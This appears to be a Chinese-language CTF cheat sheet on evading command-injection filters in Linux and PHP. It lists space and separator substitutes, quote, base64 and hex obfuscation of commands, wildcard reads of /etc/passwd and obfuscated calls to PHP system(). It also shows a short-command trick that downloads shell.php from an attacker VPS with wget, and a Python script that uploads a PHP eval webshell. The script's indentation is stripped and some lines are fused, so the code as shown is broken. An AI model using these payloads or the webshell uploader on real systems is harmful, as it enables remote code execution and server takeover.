绕过空格过滤
${IFS}
$IFS$9
$IFS$1
$IFS在linux下表示分隔符,单纯的cat$IFSxxx,bash解释器会把整个IFSxxx当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,为什么要用$9呢?因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$1同理
<
<>
上面这俩也可以当空格使用
{cat,flag.php} //用逗号实现空格功能,需要用{}括起来
%20
%09
如果命令执行环境是php环境,就可以使用%09替换空格符
对于 >,+ 等 符号的过滤
$PS2代替>
$PS4代替+
命令分隔符
先说最常规的
;
表示顺序地独立执行各条命令, 彼此之间不关心是否失败, 所有命令都会执行
&
表示任务在后台执行,如要在后台运行redis-server,则有 redis-server &
&&
表示前一条命令执行成功时,才执行后一条命令 ,如 echo ‘1‘ && echo ‘2’
|
表示管道,上一条命令的输出,作为下一条命令参数,如 echo ‘yes’ | wc -l
||
表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo “fail”
在php环境下,也有url编码的符号可以代替分隔符
%0a //换行符,即\n
%0d //回车符,即\r
命令终止符
php环境中
%00
%20#
黑名单绕过
连接符
'' //单引号
"" //双引号
·· //这是反引号,就是键盘esc下面那个
/
如果过滤的不严就可以用这些填充到字符串中间来绕过黑名单
wh\o\ami //反斜线绕过
who"a"mi //双引号绕过
whoa'm'i //单引号绕过
whoam``i //反引号绕过
echo d2hvYW1p|base64 -d|sh //base64绕过,其中d2hvYW1p是whoami的base64编码
echo d2hvYW1p|base64 -d|bash//base64绕过,其中d2hvYW1p是whoami的base64编码
`echo d2hvYW1p|base64 -d` //将其base64解码,然后用反引号来执行命令
echo 77686F616D69 | xxd -r -p | bash //hex绕过,其中77686F616D69是whoami的hex编码
//$*和$@,$x (x为1-9),${x}(x>=10) :比如ca${21}t a.txt表示cat a.txt 在没有传入参数的情况下,这些特殊字符默认为空,如下:
wh$1oami
who$@ami
whoa$*mi
还有一种骚操作
666`whoami`666 //bash: 666root666: command not found
666`\whoami`666 //bash: 666root666: command not found
//命令执行后的结果在2个666中间
w`f1hgb`ho`f1hgb`am`f1hgb`i //反引号的作用是把括起来的字符当做命令执行
w`\f1hgb`ho`\f1hgb`am`\f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行
wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都是执行和拼接
拼接变量
linux系统中可以把字符变量拼接起来当作命令执行
a=l;b=s;$a$b //这就相当于先给a、b赋值,然后拼接成 ls 命令
还可以从字符串变量中取一部分字符出来用于拼接
a=fly;b=age; //可以用两种方式拼接出flag字符
${a:0:1}${a:1:1}${b:0:1}${b:1:1}
或者
${a:0:2}${b:0:2}
都可以表示"flag"
第一个冒号: 后的数字代表截取开始的位置,第二个冒号后的代表截取的字符数
而Linux是有环境变量的,从而
利用Linux的环境变量
echo ${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo ${PATH:1:9}
usr/local
所以,我们可以通过截断和拼接来得到我们想要的来getshell
${PATH:5:1}
//l
${PATH:2:1}
//s${PATH:5:1}
${PATH:2:1}
//拼接后是ls,执行命令
${PATH:5:1}s
//拼接后是ls,执行命令
文件名绕过
cat fl[abc]g.php //匹配[abc]中的任何一个
cat f[a-z]ag.txt //匹配a-z范围的任何字符
cat fla* //用*匹配任意
a=f;d=ag;c=l;cat $a$c$d.php 表示cat flag.php //内联执行
利用正则:比如要读取etc/passwd
cat /???/??????
cat /???/pass*
cat /etc$u/passwd
命令执行函数绕过
这里只举例system()
system("cat /etc/passwd")
=
"\x73\x79\x73\x74\x65\x6d"("cat /etc/passwd");
=
(sy.(st).em)("cat /etc/passwd");
=
//还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"
=
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
=
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
限制字数的命令执行
linux下创建文件的命令可以用1>1创建文件名为1的空文件
a>1也可以,虽然会报错,但是还是可以创建空文件。
ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n,
但是shell脚本里面是支持用转义字符转移换行符的 , 所以虽然命令被分解到了每一行 , 但是被转义了以后就相当于是一条命令了
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>
简单的代码,可以利用
1>wget\
1>你的vps域名.\
1>com\
1>-O\
1>she\
1>ll.p\
1>hp //这里可以拼接成任何你想执行的命令,上面这是从你的vps上下载一个shell.php来: wget xxx.com -O shell.php
ls>a
sh a
这里注意’.’不能作为文件名的开头,因为linux下’.’是隐藏文件的开头,ls列不出来,需要ls -a
然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序
把ls>a
改成
ls -t>a
附上大佬的详解
图片中的脚本
#!/usr/bin/env python
import requests
import base64
url = "https://web2.sniperoj.cn:10008/"
def add_slashes(cmd):
cmd = cmd.replace(".", "\\.")
cmd = cmd.replace("\\", "\\\\")
cmd = cmd.replace("/", "\\/")
cmd = cmd.replace("|", "\\|")
cmd = cmd.replace("&", "\\&")
cmd = cmd.replace("-", "\\-")
cmd = cmd.replace("<", "\\<")
cmd = cmd.replace(">", "\\>")
cmd = cmd.replace("#", "\\#")
cmd = cmd.replace(" ", "\\ ")
cmd = cmd.replace("=", "\\=")
return cmd
def exec_cmd(cmd, max_length):
print "[+] cmd : %s" % (cmd)
cmd = add_slashes(cmd)
print "[+] Full cmd : %s" % (cmd)
if len(cmd) < max_length:
return requests.get(url + "?c=" + cmd).text[:-1135 - 57] every_length = max_length - len(">") - len("\\\\")
times = len(cmd) / every_length
for i in range(1, times + 1, 1):
index = i * every_length - 1
if cmd[index] == "\\":
cmd = cmd[0:index] + "\\" + cmd[index:]
cmds = []
for i in xrange(times):
every = cmd[every_length * i:every_length * (i+1)]
true_cmd = ">%s\\\\" % (every)
cmds.append(true_cmd.replace("\\\\\\", "\\\\"))
end_cmd = ">%s" % (cmd[times * every_length:])
if len(end_cmd) == 1:
cmds[-1] = cmds[-1][0:-2] cmds.append(end_cmd)
for i in cmds[::-1]:
target = url + "?c=" + i print "[+] Sending : %s" % (target)
requests.get(target)
requests.get(url + "?c=" + "ls -t>1")
requests.get(url + "?c=" + "sh 1")
exec_cmd("echo %s>6" % (base64.b64encode("<?php eval($_POST[c]);?>")), 7)
exec_cmd("cat 6|base64 -d>c", 7)
exec_cmd("cp c c.php", 7)
print "[%s]" % ("-" * 64)
print "[+] Upload webshell successful!"
print "[+] Webshell is stored at : %s" % (url + "c.php")
print "[+] password : c"
print "[%s]" % ("-" * 64)
大佬发出来的已经没有缩进了,脚本本身我还没细看,只是简单的加了几个回车,等有时间仔细学习的时候再修改一下缩进
PHP绕过小技巧
php短标签
PHP 会寻找起始和结束标记,也就是 <?php
和 ?>
,这告诉 PHP 开始和停止解析二者之间的代码。此种解析方式使得 PHP 可以被嵌入到各种不同的文档中去,而任何起始和结束标记之外的部分都会被 PHP 解析器忽略。
PHP 有一个 echo 标记简写 <?=
, 它是更完整的 <?php echo
的简写形式。
标准文档
示例 #1 PHP 开始和结束标记
1. <?php echo 'if you want to serve PHP code in XHTML or XML documents, use these tags'; ?>2. You can use the short echo tag to <?= 'print this string' ?>. It's equivalent to <?php echo 'print this string' ?>.3. <? echo 'this code is within short tags, but will only work '. 'if short_open_tag is enabled'; ?>
短标记 (第三个例子) 是被默认开启的,但是也可以通过 short_open_tag php.ini 来直接禁用。如果 PHP 在被安装时使用了 –disable-short-tags 的配置,该功能则是被默认禁用的。
注意:
因为短标记可以被禁用,所以建议使用普通标记 (<?php ?>
和 <?= ?>
) 来最大化兼容性。
%0a绕过
在正则表达式中
因为以’^’开头,以’$’结尾的只能匹配一行,也就是说我们可以用%0a
,即url编码下的换行\n去绕过正则匹配